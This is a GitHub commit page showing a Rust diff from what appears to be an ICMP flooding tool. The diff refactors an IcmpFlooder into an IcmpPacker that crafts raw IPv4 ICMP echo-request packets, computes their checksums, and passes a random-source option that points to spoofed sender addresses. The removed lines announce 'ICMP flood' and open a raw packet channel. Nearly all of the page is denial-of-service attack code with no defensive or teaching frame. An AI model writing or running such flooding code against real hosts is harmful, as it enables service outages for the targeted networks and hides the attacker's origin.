-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
203 additions
and
168 deletions.
There are no files selected for viewing
Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,63 +1,60 @@ | ||
use std::net::Ipv4Addr; | ||
use std::sync::{Arc, Mutex}; | ||
|
||
use anyhow::Result; | ||
use pnet::packet::icmp::echo_request::MutableEchoRequestPacket; | ||
use pnet::packet::icmp::IcmpTypes; | ||
use pnet::packet::ip::IpNextHeaderProtocols; | ||
use pnet::packet::ipv4::MutableIpv4Packet; | ||
use pnet::packet::MutablePacket; | ||
use pnet::transport::TransportChannelType::Layer3; | ||
use pnet::transport::{transport_channel, TransportSender}; | ||
|
||
use pnet::util; | ||
|
||
use crate::cli::IcmpArgs; | ||
use crate::flooder::IPV4_HEADER_LEN; | ||
|
||
use super::{create_ipv4_packet, Packer}; | ||
|
||
use super::{create_ipv4_packet, Flooder}; | ||
const ICMP_HEADER_LEN: usize = 8; | ||
|
||
pub struct IcmpFlooder { | ||
tx: Arc<Mutex<TransportSender>>, | ||
delay: u64, | ||
#[derive(Clone)] | ||
pub struct IcmpPacker { | ||
buffer_ip: Vec<u8>, | ||
buffer: Vec<u8>, | ||
args: IcmpArgs, | ||
} | ||
|
||
impl IcmpFlooder { | ||
pub fn init(args: IcmpArgs, delay: u64) -> Result<Self> { | ||
println!("ICMP flood"); | ||
println!("Payloading {}-byte packets", args.size); | ||
impl IcmpPacker { | ||
pub fn init(args: IcmpArgs) -> Self { | ||
let buffer = vec![0u8; args.common.size + ICMP_HEADER_LEN]; | ||
let buffer_ip = vec![0u8; buffer.len() + IPV4_HEADER_LEN]; | ||
|
||
let (tx, _) = transport_channel(2 << 15, Layer3(IpNextHeaderProtocols::Icmp)).unwrap(); | ||
Ok(Self { | ||
tx: Arc::new(Mutex::new(tx)), | ||
delay, | ||
Self { | ||
buffer_ip, | ||
buffer, | ||
args, | ||
}) | ||
} | ||
} | ||
} | ||
|
||
impl Flooder for IcmpFlooder { | ||
type Args = IcmpArgs; | ||
const PROTO_HEADER_LEN: usize = 8; | ||
|
||
fn clone(&self) -> (Arc<Mutex<TransportSender>>, Ipv4Addr, usize, Self::Args, u64) { | ||
( | ||
self.tx.clone(), | ||
self.args.host, | ||
self.args.size, | ||
self.args.clone(), | ||
self.delay, | ||
) | ||
} | ||
|
||
fn create_packet<'a>(buffer_ip: &'a mut [u8], buffer_icmp: &'a mut [u8], args: Self::Args) -> MutableIpv4Packet<'a> { | ||
let mut ipv4_packet = create_ipv4_packet(buffer_ip, args.host, IpNextHeaderProtocols::Icmp, buffer_icmp.len()); | ||
|
||
let mut icmp_packet = MutableEchoRequestPacket::new(buffer_icmp).expect("Error creating icmp packet"); | ||
impl Packer for IcmpPacker { | ||
fn create_packet(&mut self) -> MutableIpv4Packet { | ||
let mut ipv4_packet = create_ipv4_packet( | ||
&mut self.buffer_ip, | ||
self.args.common.host, | ||
IpNextHeaderProtocols::Icmp, | ||
self.buffer.len(), | ||
self.args.common.random_source, | ||
); | ||
|
||
let mut icmp_packet = MutableEchoRequestPacket::new(&mut self.buffer).expect("Error creating icmp packet"); | ||
icmp_packet.set_icmp_type(IcmpTypes::EchoRequest); | ||
let checksum = util::checksum(icmp_packet.packet_mut(), 1); | ||
icmp_packet.set_checksum(checksum); | ||
|
||
ipv4_packet.set_payload(icmp_packet.packet_mut()); | ||
ipv4_packet | ||
} | ||
|
||
fn get_addr(&self) -> Ipv4Addr { | ||
self.args.common.host | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.